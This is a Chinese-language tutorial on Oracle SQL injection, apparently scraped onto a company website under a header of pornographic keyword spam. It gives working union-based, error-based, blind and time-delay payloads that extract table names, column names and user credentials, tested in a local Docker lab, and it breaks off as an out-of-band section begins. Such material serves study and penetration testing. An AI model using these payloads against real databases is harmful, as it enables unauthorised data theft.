欧美vvv,亚洲第一成人在线,亚洲成人欧美日韩在线观看,日本猛少妇猛色XXXXX猛叫

新聞資訊

    寫在前頭,本文是我在學習注入時做的筆記加以整理所作的分享,由于在面試中被問過幾次,并不是很難的東西oracle表空間的寫權限,總是被問住,所以決定抽一些時間徹底學習一遍。一些基本語法與Mysql差別也不是很大,學起來并不費勁。

    本文極其適合入門選手,一篇文章足以幫你入門注入。抄了一些y4博客文章的目錄,查閱官方文檔細化了函數的使用。請搭配官方文檔食用,并親手實踐為主,文中如有錯誤請通知我更改。

    安裝

    為了方便,直接 拉一個鏡像回來。

    版本 11g

    1. # 拉取鏡像

    2. $ docker pull deepdiver/docker-oracle-xe-11g


    3. # 啟動容器

    4. $ docker run -d --name oracledb -p 1002:22 -p 1521:1521 deepdiver/docker-oracle-xe-11g


    5. # 可以選擇進入docker操作,不需要將docker 22端口映射出來。

    6. $ docker exec -it oracledb bash

    基礎學習

    dual 是中的虛表,任何用戶均可讀取,常用在沒有目標表的 語句中。

    數據庫中使用的語言有三種,分別為:SQL, java, PL/SQL。

    本文接下來所有記錄的語法、函數使用等,均摘自官方文檔,如有不明白之處自行去官網查詢詳細文檔即可官方文檔

    體系結構

    1. # 實例

    2. 一個Oracle實例(Oracle Instance)有一系列的后臺進程和內存結構組成。一個數據庫可以有n個實例。


    3. # 用戶

    4. Oracle數據庫的基本單位,等同于Mysql中的庫。Mysql:當前數據庫下有N張表 <=> Oracle:當前用戶下有N張表。


    5. # 表空間

    6. 表空間是Oracle對物理數據庫上相關數據文件(ORA或者DBF文件)的邏輯映射。一個數據庫在邏輯上被劃分成一到若干個表空間,每個表空間包含了在邏輯上相關的一組結構。每個數據庫至少有一個表空間(稱之為system表空間)。

    7. 每個表空間由同一磁盤上的一個或多個文件組成,這些文件叫數據文件(datafile)。一個數據文件只能屬于一個表空間。


    8. # 數據文件(dbf,ora)

    9. 數據文件是數據庫的物理存儲單位。表空間與數據文件是一對多的關系(用戶與表空間也是一對多的關系),而數據文件只能屬于一個表空間,刪除數據文件需先刪除該文件所屬的表空間。

    10. 表的數據,是由用戶放入某一個表空間的,而這個表空間會隨機把這些表數據放到一個或多個數據文件中。

    數據庫中常用角色

    1. connect --連接角色,基本角色

    2. resource --開發(fā)者角色

    3. dba --超級管理員角色

    數據庫存在默認用戶:scott,密碼:tiger。需要超級管理員權限用戶解鎖。

    語法

    1. # 查看當前連接用戶

    2. SQL> select user from dual;

    3. # 創(chuàng)建用戶名為sqli密碼為pentest的用戶

    4. SQL> create user sqli identified by pentest;

    5. # 給新創(chuàng)建的用戶授權,connect角色:保證該用戶可以連接數據庫;resource角色:該用戶可以使用數據庫資源

    6. SQL> grant connect,resource to sqli;

    7. # 刪除用戶:當前連接數據庫的用戶必須具有刪除用戶權限(如sys)


    8. # 創(chuàng)建表空間(需要超級管理員權限)

    9. SQL> create tablespace pentest

    10. 2 datafile '/tmp/pentest.dbf'

    11. 3 size 100m

    12. 4 autoextend on

    13. 5 next 10m;


    14. Tablespace created.

    15. # 刪除表空間

    16. SQL> drop tablespace pentest; --刪除表空間后,數據文件依舊存在。


    17. Tablespace dropped.

    數據類型

    1. 1. varchar, varchar2 表示一個字符串。

    2. 2. NUMBER NUMBER(n)表示一個整數,長度是nNUMBER(m,n)表示一個小數,總長度m,小數:n,整數是m-n

    3. eg: NUMBER(4,2) 表示最大可以存儲數字為99.99

    4. 3. DATA 表示日期類型

    5. 4. CLOB 大對象,表示大文本數據類型,可存4G

    6. 5. BLOB 大對象,表示二進制數據,可存4G

    語法

    1. # 創(chuàng)建users表

    2. SQL> create table users(

    3. 2 id number(10),

    4. 3 uname varchar2(16),

    5. 4 pwd varchar2(32)

    6. 5 )

    7. 6 ;


    8. Table created.

    9. # 添加列

    10. SQL> alter table users add email varchar2(40);

    11. # 修改列數據類型

    12. SQL> alter table users modify email char(40);

    13. # 修改列的名稱

    14. SQL> alter table users rename column email to sex;

    15. # 刪除列

    16. SQL> alter table users drop column sex;

    17. # 插入數據(values字符串不能使用雙引號)

    18. SQL> insert into users (id,uname,pwd) values(1,'admin','ab71giedas98g1o2dasgd12e98g');


    19. 1 row created.

    20. # 修改數據

    21. update users set uname='administrator';

    22. # 刪除數據

    23. delete from users where uname='administrator';

    序列

    1. # 默認從1開始:依次遞增,主要用來給主鍵賦值使用。序列不真的屬于任何表,但是可以邏輯和表做綁定。

    2. SQL> create sequence s_users;


    3. Sequence created.

    4. SQL> insert into users (id,uname,pwd) values(s_users.nextval,'ceshi','d81bojd09sha1onpmd09a');


    5. 1 row created.

    6. SQL> select * from users;


    7. ID UNAME PWD

    8. ---------- ---------------- --------------------------------

    9. 1 admin ab71giedas98g1o2dasgd12e98g

    10. 3 ceshi d81bojd09sha1onpmd09a

    數據庫注入學習基礎

    1. # Oracle中使用``||``拼接字符串

    2. SQL> select 'pen'||'test' from dual;


    3. 'PEN'||

    4. -------

    5. pentest

    6. # 分頁操作(mysql中的limit)

    7. SQL> select * from users where rownum<2; --rownum支持<,<=,!=



    8. # 支持的注釋符

    9. --

    10. -- -

    11. --空格

    12. /**/

    注: 字符串區(qū)分大小寫

    信息獲取

    1. SQL> select banner from v$version;


    2. BANNER

    3. --------------------------------------------------------------------------------

    4. Oracle Database 11g Express Edition Release 11.2.0.2.0 - 64bit Production

    5. PL/SQL Release 11.2.0.2.0 - Production

    6. CORE 11.2.0.2.0 Production

    7. TNS for Linux: Version 11.2.0.2.0 - Production

    8. NLSRTL Version 11.2.0.2.0 - Production


    9. # 獲取其中某版本使用正則即可,舉例:

    10. SQL> select banner from v$version where banner like 'Oracle%';


    11. BANNER

    12. --------------------------------------------------------------------------------

    13. Oracle Database 11g Express Edition Release 11.2.0.2.0 - 64bit Production


    14. # 獲取當前所連接的用戶名

    15. SQL> select user from dual;


    16. USER

    17. ------------------------------

    18. SQLI


    19. # 獲取數據庫中所有用戶

    20. SQL> select username from all_users;

    21. SELECT name FROM sys.user$; -- 需要高權限


    22. # 獲取當前用戶權限

    23. SQL> select * from session_privs;


    24. # 獲取當前用戶所擁有權限下的所有數據庫

    25. SQL> select distinct owner,table_name from all_tables;


    26. # 獲取指定表的字段(注意這里的table_name全部大寫)

    27. SQL> select column_name from all_tab_columns where table_name='USERS';


    28. COLUMN_NAME

    29. ------------------------------

    30. ID

    31. UNAME

    32. PWD

    提供了一個名為的內置命名空間 ,用于描述當前會話。以下語句返回登錄到數據庫的用戶的名稱:

    1. SQL> select SYS_CONTEXT('USERENV','SESSION_USER') from dual;


    2. SYS_CONTEXT('USERENV','SESSION_USER')

    3. --------------------------------------------------------------------------------

    4. SQLI


    5. SQL> select SYS_CONTEXT('USERENV','AUTHENTICATED_IDENTITY') from dual;


    6. SYS_CONTEXT('USERENV','AUTHENTICATED_IDENTITY')

    7. --------------------------------------------------------------------------------

    8. sqli

    具體其他的 官方文檔有寫

    備忘錄

    1. 包含一行,顯示當前數據庫的全局名稱。

    2. 對ORDER BY子句中指定的每個組內的數據進行排序,然后合并度量列的值??梢允侨魏伪磉_。度量列中的空值將被忽略。

    3. 描述當前用戶擁有的關系表。

    4. 描述當前用戶可訪問的關系表。(類似Mysql中的.)

    5. 描述數據庫中的所有對象表和關系表。其列與中的列相同。

    6. 描述當前用戶可訪問的對象表和關系表。

    7. 描述當前用戶擁有的對象表和關系表。

    8. 描述數據庫中的所有關系表,其列與中的列相同,查詢條件:DBA權限用戶。

    1. # 獲取當前數據庫名

    2. SQL> select * from global_name;


    3. GLOBAL_NAME

    4. --------------------------------------------------------------------------------

    5. XE

    6. # 實現mysql的group_concat

    7. SQL> select listagg(column_name,'~') within group (order by column_name) from user_tab_columns;


    8. LISTAGG(COLUMN_NAME,'~')WITHINGROUP(ORDERBYCOLUMN_NAME)

    9. --------------------------------------------------------------------------------

    10. ID~PWD~UNAME

    聯(lián)合查詢

    注:中表達式必須具有與對應表達式相同的數據類型,且在數據庫中要求語句后必須指定要查詢的表名(使用虛表dual即可)

    1. SQL> select * from users where id=2 union select null,null,null from dual;


    2. ID UNAME PWD

    3. ---------- ---------------- --------------------------------


    4. # 獲取表名

    5. SQL> select * from users where id=2 union select null,null,(select listagg(table_name,'~') within group(order by 1) from all_tables where owner='SQLI') from dual;


    6. ID UNAME

    7. ---------- ----------------

    8. PWD

    9. --------------------------------------------------------------------------------


    10. ADDRESS~USERS


    11. # 獲取指定表的字段名

    12. SQL> select * from users where id=2 union select null,null,(select listagg(column_name,':') within group(order by 1) from all_tab_columns where table_name='USERS') from dual;


    13. ID UNAME

    14. ---------- ----------------

    15. PWD

    16. --------------------------------------------------------------------------------


    17. ID:PWD:UNAME

    18. # 獲取指定字段內容

    19. SQL> select * from users where id=2 union select null,null,(select listagg(uname||'&'||pwd,':') within group(order by 1) from users where rownum=1) from dual;


    20. ID UNAME

    21. ---------- ----------------

    22. PWD

    23. --------------------------------------------------------------------------------


    24. admin&ab71giedas98g1o2dasgd12e98g

    報錯注入

    報錯注入的本質就是使數據庫返回一個語法等錯誤,并且返回錯誤中的某些內容我們可控,借此來獲取我們需要的信息。

    備忘錄

    1. 程序包提供了一個PL/SQL過程來支持尋址。它提供了一個API,用于檢索本地和遠程主機的主機名和IP地址。

    1. # 此程序包是調用者的權限程序包,這意味著必須connect在分配給他或她希望連接到的遠程網絡主機的訪問控制列表中向調用用戶授予特權。


    2. # Syntax

    3. UTL_INADDR.GET_HOST_NAME (

    4. ip IN VARCHAR2 DEFAULT NULL)

    5. RETURN host_name VARCHAR2;


    6. 由于GET_HOST_ADDRESS函數所需參數類型是varchar2,且報錯時會講參數表達式結果返回,因此可以借此實現報錯注入。GET_HOST_NAME函數同理。

    需要注意的是,執(zhí)行軟件包需要擁有權限的用戶,本次學習環(huán)境為11goracle表空間的寫權限,因此本次筆記暫不考慮之前版本。

    2. ..sn,沒找到具體官方文檔說明,用法如下:

    1. SQL> select * from users where id=1 and 1=(select ctxsys.drithsx.sn(1,(select user from dual))from dual);

    3. ..,這是一個輔助功能,可將英語名稱轉換為數字標記類型。

    1. # 使用方法

    2. function token_type(

    3. index_name in varchar2,

    4. type_name in varchar2

    5. ) return number;


    6. SQL> select ctxsys.ctx_report.token_type((select user from dual),1) from dual;

    7. select ctxsys.ctx_report.token_type((select user from dual),1) from dual

    8. *

    9. ERROR at line 1:

    10. ORA-20000: Oracle Text error:

    11. DRG-10502: index SQLI does not exist

    12. ORA-06512: at "CTXSYS.DRUE", line 160

    13. ORA-06512: at "CTXSYS.CTX_REPORT", line 711

    這種類似的可以用來報錯注入的函數很多,舉個例子:

    1. SQL> select ctxsys.ctx_report.token_info('aa','xx',1)from dual;

    2. ERROR:

    3. ORA-20000: Oracle Text error:

    4. DRG-10502: index AA does not exist

    5. ORA-06512: at "CTXSYS.DRUE", line 160

    6. ORA-06512: at "CTXSYS.CTX_REPORT", line 615

    7. ORA-06512: at line 1


    8. no rows selected

    4. .,此函數檢入已簽出的VCR,并返回新創(chuàng)建版本的資源ID。

    1. # 用法

    2. DBMS_XDB_VERSION.CHECKIN(

    3. pathname VARCHAR2)

    4. RETURN DBMS_XDB.resid_type;


    5. 如果路徑名不存在,則會引發(fā)異常。


    6. SQL> select * from users where id=1 and '0x2e'=(select dbms_xdb_version.checkin((select user from dual))from dual);

    7. select * from users where id=1 and '0x2e'=(select dbms_xdb_version.checkin((select user from dual))from dual)

    8. *

    9. ERROR at line 1:

    10. ORA-31001: Invalid resource handle or path name "SQLI"

    需要注意使用二進制數據類型

    .

    1. DBMS_XDB_VERSION.MAKEVERSIONED(

    2. pathname VARCHAR2)

    3. RETURN DBMS_XDB.resid_type;


    4. 如果資源不存在,則會引發(fā)異常。

    需要注意使用二進制數據類型

    報錯注入的就不寫太多了,原理感覺都那樣,還有很多類似的函數等可以挖掘出來,具體還有哪些常見的報錯注入可以看Y4er博客文章里面的總結。

    盲注

    感覺這部分沒什么可以記錄的,盲注的思路都差不多,字符串比較,運算符的運用。隨便記錄一下吧。

    1. # decode函數用來比較。

    2. SQL> select * from users where id=1 and 1=(select decode(user,'SQLI',1) from dual);

    3. SQL> select * from users where id=1 and 'S'=(select substr(user,1,1)from dual);

    需要注意大小寫的問題

    延時注入

    1. # 用來判斷注入點還行

    2. SQL> select count(*) from all_objects;


    3. # 利用了oracle管道功能接收消息的函數RECEIVE_MESSAGE,實現延時注入

    4. DBMS_PIPE.RECEIVE_MESSAGE (

    5. pipename IN VARCHAR2,

    6. timeout IN INTEGER DEFAULT maxwait)

    7. RETURN INTEGER;


    8. # 簡單的使用

    9. SQL> select dbms_pipe.receive_message('aaa',3) from dual;


    10. DBMS_PIPE.RECEIVE_MESSAGE('AAA',3)

    11. ----------------------------------

    12. 1

    13. SQL> select dbms_pipe.receive_message('aaa',(decode((select user from dual),'SQLI',3))) from dual;

    帶外攻擊OOB(Out Of Band)

    既然是帶外攻擊,自然需要

網站首頁   |    關于我們   |    公司新聞   |    產品方案   |    用戶案例   |    售后服務   |    合作伙伴   |    人才招聘   |   

友情鏈接: 餐飲加盟

地址:北京市海淀區(qū)    電話:010-     郵箱:@126.com

備案號:冀ICP備2024067069號-3 北京科技有限公司版權所有